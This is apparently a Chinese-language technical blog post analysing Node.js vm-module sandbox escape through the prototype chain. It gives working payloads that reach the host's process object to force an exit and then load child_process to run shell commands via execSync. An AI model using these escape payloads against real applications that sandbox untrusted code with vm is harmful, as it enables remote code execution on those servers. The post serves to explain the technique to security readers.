nodejs沙盒逃逸分析

前言

分析 yapi 的漏洞时接触到就随写

前提

先搞懂原型链污染。

VM简介

node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。vm 模块可在 V8 虚拟机上下文中编译和运行代码。 注意的是:vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。

VM模块

官方文档原话:

一个常见的用例是在不同的 V8 上下文中运行代码。 这意味着被调用的代码与调用的代码具有不同的全局对象。

可以通过使对象上下文隔离化来提供上下文。 被调用的代码将上下文中的任何属性都视为全局变量。 由调用的代码引起的对全局变量的任何更改都将会反映在上下文对象中。

js
1
2
3
4
5
6
7
8
9
10
11
12
13
const vm = require('vm');
const x = 1;
const context = { x: 2 };
vm.createContext(context); // 创建上下文隔离化对象。
const code = 'x += 40; var y = 17;';
// `x` and `y` 是上下文中的全局变量。
// 最初,x 的值为 2,因为这是 context.x 的值。
vm.runInContext(code, context);

console.log(context.x); // 42
console.log(context.y); // 17

console.log(x); // 1; y 没有定义。

上面这个例子完美的诠释了下面这张图的内容(很明显的是沙盒环境代码只能读取 VM 上下文的数据)

所有用 Node.js 所运行的 JavaScript 代码都是在一个”上下文”的作用域中被执行的。

官方文档当中有这样一句话

在 V8 中,一个上下文是一个执行环境,它允许分离的,无关的 JavaScript 应用在一个 V8 的单例中被运行。 必须明确地指定用于运行所有 JavaScript 代码的上下文。

当我们去调用 vm.createContext() 方法时, contextObject参数(如果 contextObject 为 undefined,则为新创建的对象)在内部与 V8 上下文的新实例相关联。 该 V8 上下文提供了使用 vm 模块的方法运行的 code 以及可在其中运行的隔离的全局环境。

沙盒执行上下文是隔离的,但可通过原型链的方式获取到沙盒外的 Function,从而完成逃逸,拿到全局数据,示例图如下:

沙盒逃逸

首先看下官方示例

js
1
2
3
4
5
6
const vm = require("vm");

const ctx = {};

vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx);
console.log("Never gets executed.");

上述代码在执行时,程序在第二行就直接退出,vm虚拟机环境中的代码逃逸,获得了主线程的 process 变量,并调用 process.exit(),造成主程序非正常退出。

它等同于

js
1
2
3
4
5
6
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
process.exit();

以上是通过原型链方式完成逃逸,如果将上下文对象的原型链设置为 null 会怎么做

js
1
2
3
4
5
6
7
8
9
10
const vm = require("vm");
const ctx = Object.create(null);

ctx.data = {};

vm.runInNewContext(
'this.data.constructor.constructor("return process")().exit()',
ctx
);
console.log("Never gets executed.");

由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function,最终完成沙盒逃逸并执行代码。

逃逸后代码可以执行如下代码拿到 require,从而并加载其他模块功能

把原型链污染中的常用Payload转换过来如下

js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const vm = require("vm");

const ctx = {
console,
};

vm.runInNewContext(
`
var exec = this.constructor.constructor;
var require = exec('return process.mainModule.constructor._load')();
console.log(require('child_process').execSync("ls").toString());
`,
ctx
);

引用

NodeJS沙箱逃逸分析

官方API

凹凸实验室

关于javascript:nodejs-沙盒逃逸分析

NPM酷库:vm2,安全的沙箱环境